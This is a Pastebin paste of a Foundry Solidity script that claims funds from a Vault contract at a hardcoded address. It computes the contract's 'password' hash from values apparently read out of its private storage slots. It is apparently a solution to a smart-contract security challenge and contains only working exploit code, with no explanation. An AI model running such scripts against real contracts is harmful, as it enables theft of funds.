Advertisement
Prosperity-Author

VaultScript.s.sol

Jan 8th, 2025
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 0.80 KB | Cybersecurity | 0 0
  1. // SPDX-License-Identifier: UNLICENSED
  2. pragma solidity ^0.8.13;
  3.  
  4. import {Script} from "forge-std/Script.sol";
  5. import {Vault} from "../src/Vault.sol";
  6.  
  7. contract VaultScript is Script {
  8.     address vault = 0x9520E31E58D21C74AF2f0e3FF0076a8Ce1ECb0Fc;
  9.     Vault vaultInstance;
  10.     uint256 hashedPassword;
  11.  
  12.     uint256 slot0 = uint256(0x00000000000000000000000000000000000000000000000000000000677d6abb);
  13.     uint256 slot1 = uint256(0x000000000000000000000000000000000000000000000000000000003fdfedb5);
  14.     function setUp() public {
  15.         hashedPassword = uint256(keccak256(abi.encode(slot1 + slot0)));
  16.         vaultInstance = Vault(payable(vault));
  17.     }
  18.  
  19.  
  20.     function run() public {
  21.         vm.startBroadcast();
  22.  
  23.         vaultInstance.claim(hashedPassword);
  24.  
  25.         vm.stopBroadcast();
  26.     }
  27. }
  28.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement